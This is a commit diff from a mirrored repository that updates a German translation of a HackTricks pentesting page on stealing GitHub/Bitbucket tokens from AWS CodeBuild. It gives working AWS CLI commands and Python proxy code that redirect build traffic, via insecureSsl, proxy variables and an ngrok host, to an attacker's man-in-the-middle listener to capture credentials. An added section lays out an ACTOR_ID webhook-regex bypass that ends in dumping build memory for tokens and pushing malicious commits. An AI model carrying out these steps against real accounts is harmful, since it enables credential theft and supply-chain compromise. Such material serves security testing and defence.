mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+52
-35
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Wiederherstellen von Github/Bitbucket konfigurierten Tokens
|
||||
## Konfigurierte Github/Bitbucket Tokens wiederherstellen
|
||||
|
||||
Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten:
|
||||
Prüfe zuerst, ob source credentials konfiguriert sind, die zu einem leak führen könnten:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
### Über Docker-Image
|
||||
|
||||
Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen.
|
||||
Wenn Sie feststellen, dass z. B. eine Authentifizierung zu Github im Account eingerichtet ist, können Sie **exfiltrate** diesen **access** (**GH token or OAuth token**), indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image zu verwenden, um den Build des Projekts auszuführen.
|
||||
|
||||
Zu diesem Zweck könnten Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines bestehenden ändern, um das **Docker-Image** festzulegen.
|
||||
Zu diesem Zweck können Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines vorhandenen Projekts ändern, um das **Docker-Image** festzulegen.
|
||||
|
||||
Das Docker-Image, das Sie verwenden könnten, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **Umgebungsvariablen `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im **`https_proxy`** und **`http_proxy`** angegebenen Hosts abzufangen und das in **`SSL_CERT_FILE`** angegebene SSL-Zertifikat zu vertrauen.
|
||||
Das Docker-Image, das Sie verwenden können, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die Umgebungsvariablen `https_proxy`, `http_proxy` und `SSL_CERT_FILE` setzt. Dadurch können Sie den Großteil des Traffics des in `https_proxy` und `http_proxy` angegebenen Hosts abfangen und dem in `SSL_CERT_FILE` angegebenen SSL-Zertifikat vertrauen.
|
||||
|
||||
1. **Erstellen und Hochladen Ihres eigenen Docker MitM-Images**
|
||||
- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und **das Docker-Image zu erstellen**.
|
||||
- **SETZEN SIE NICHT `http_proxy`**, um keine Anfragen an den Metadaten-Endpunkt abzufangen.
|
||||
- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen.
|
||||
- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...)
|
||||
2. **Umgebung festlegen**
|
||||
- Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** Sie die Umgebung eines bestehenden.
|
||||
- Stellen Sie das Projekt so ein, dass es das **zuvor generierte Docker-Image** verwendet.
|
||||
1. **Erstellen & Hochladen Ihres eigenen Docker MitM-Images**
|
||||
- Befolgen Sie die Anweisungen des Repo, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu setzen und das Docker-Image zu bauen.
|
||||
- **DO NOT SET `http_proxy`**, damit Anfragen an den Metadata-Endpunkt nicht abgefangen werden.
|
||||
- Sie können **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen
|
||||
- Sobald Sie das Docker-Image gebaut haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...)
|
||||
2. **Umgebung setzen**
|
||||
- **Erstellen** Sie ein neues Codebuild-Projekt oder **ändern** Sie die Umgebung eines bestehenden.
|
||||
- Konfigurieren Sie das Projekt so, dass es das **zuvor erzeugte Docker-Image** verwendet
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Setzen Sie den MitM-Proxy auf Ihrem Host**
|
||||
|
||||
- Wie im **Github-Repo** angegeben, könnten Sie etwas wie Folgendes verwenden:
|
||||
- Wie im **Github repo** angegeben, können Sie etwas wie folgendes verwenden:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Die **mitmproxy-Version, die verwendet wurde, war 9.0.1**, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.
|
||||
> Die **mitmproxy version used was 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert.
|
||||
|
||||
4. **Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen**
|
||||
4. **Build ausführen & Zugangsdaten erfassen**
|
||||
|
||||
- Sie können das Token im **Authorization**-Header sehen:
|
||||
- Das Token ist im **Authorization**-Header sichtbar:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dies könnte auch über die aws cli mit etwas wie
|
||||
Das kann auch über die aws cli mit etwas wie dem Folgenden gemacht werden:
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
### Über insecureSSL
|
||||
|
||||
**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist und nur über die API geändert werden kann.\
|
||||
Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository **verbinden, ohne das von der Plattform angebotene Zertifikat zu überprüfen**.
|
||||
**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die in der Weboberfläche verborgen ist und nur über die API geändert werden kann.\
|
||||
Wenn diese aktiviert ist, erlaubt sie Codebuild, sich mit dem Repository zu verbinden **ohne das von der Plattform präsentierte Zertifikat zu prüfen**.
|
||||
|
||||
- Zuerst müssen Sie die aktuelle Konfiguration mit etwas wie:
|
||||
- Zuerst musst du die aktuelle Konfiguration mit etwas wie folgendem auflisten:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Dann können Sie mit den gesammelten Informationen die Projekteinstellungen **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie das **`insecureSsl=True`** am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen).
|
||||
- Fügen Sie außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf Ihr tcp ngrok zeigen, wie:
|
||||
- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** setzen. Das folgende ist ein Beispiel für mein Aktualisieren eines Projekts — beachte **`insecureSsl=True`** am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst).
|
||||
- Füge außerdem die env variables **`http_proxy`** und **`https_proxy`** hinzu, die auf dein tcp ngrok zeigen, wie folgt:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Führen Sie dann das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist.
|
||||
- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Schließlich klicken Sie auf **Build the project**, die **Anmeldeinformationen** werden **im Klartext** (base64) an den mitm-Port gesendet:
|
||||
- Schließlich auf **Build the project** klicken — die **credentials** werden **im Klartext** (base64) an den mitm port gesendet:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP-Protokoll~~
|
||||
### ~~Über das HTTP-Protokoll~~
|
||||
|
||||
> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)**
|
||||
> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Feb 2023 behoben (ich glaube am Freitag). Daher kann ein Angreifer sie nicht mehr ausnutzen :)**
|
||||
|
||||
Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte das Github/Bitbucket-Token** leaken, das konfiguriert ist, oder wenn die Berechtigungen über OAuth konfiguriert wurden, das **temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird**.
|
||||
Ein Angreifer mit **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
|
||||
|
||||
- Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
@@ -144,8 +144,8 @@ Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte da
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird.
|
||||
- Dann die URL des github Repo so ändern, dass HTTP statt HTTPS verwendet wird, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Dann das Basisbeispiel von https://github.com/synchronizing/mitm auf dem von den Proxy-Variablen (http_proxy und https_proxy) angegebenen Port ausführen.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Klicken Sie als Nächstes auf **Projekt erstellen** oder starten Sie den Build über die Befehlszeile:
|
||||
- Als Nächstes klicken Sie auf **Build the project** oder starten Sie den Build von der Kommandozeile:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Schließlich werden die **Anmeldeinformationen** im **Klartext** (base64) an den mitm-Port gesendet:
|
||||
- Schließlich werden die **credentials** im **Klartext** (base64) an den mitm-Port gesendet:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Jetzt kann ein Angreifer das Token von seiner Maschine aus verwenden, alle Privilegien auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes.
|
||||
> Nun kann ein Angreifer das token von seiner Maschine aus verwenden, alle Berechtigungen auflisten, die es hat, und es leichter missbrauchen, als den CodeBuild-Service direkt zu verwenden.
|
||||
|
||||
## Webhook-Filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
|
||||
Falsch konfigurierte CodeBuild GitHub-Webhooks, die nicht verankerte `ACTOR_ID`-Regexes verwenden, erlauben *nicht vertrauenswürdigen* PRs, privilegierte Builds zu starten. Wenn die allowlist z. B. `123456|7890123` ohne `^`/`$` ist, passt jede ID, die eines dieser Substrings enthält. Da GitHub-Benutzer-IDs sequenziell sind, kann ein Angreifer ein Rennen eingehen, um eine „eclipsing“ ID (ein Superstring einer vertrauenswürdigen ID) zu registrieren und den Build auszulösen.
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
|
||||
2. Obtain an eclipsing GitHub ID:
|
||||
- Probe den globalen ID-Zähler, indem du GitHub-Organisationen erstellst/löschst (org IDs teilen denselben Pool).
|
||||
- Stelle viele GitHub App-Manifest-Erstellungen vorab bereit und rufe die Bestätigungs-URLs auf, wenn der Zähler innerhalb von ~100 IDs des Ziels liegt, um in einem Schub einen Bot-ID zu registrieren, der das vertrauenswürdige Substring enthält.
|
||||
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
|
||||
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
|
||||
5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user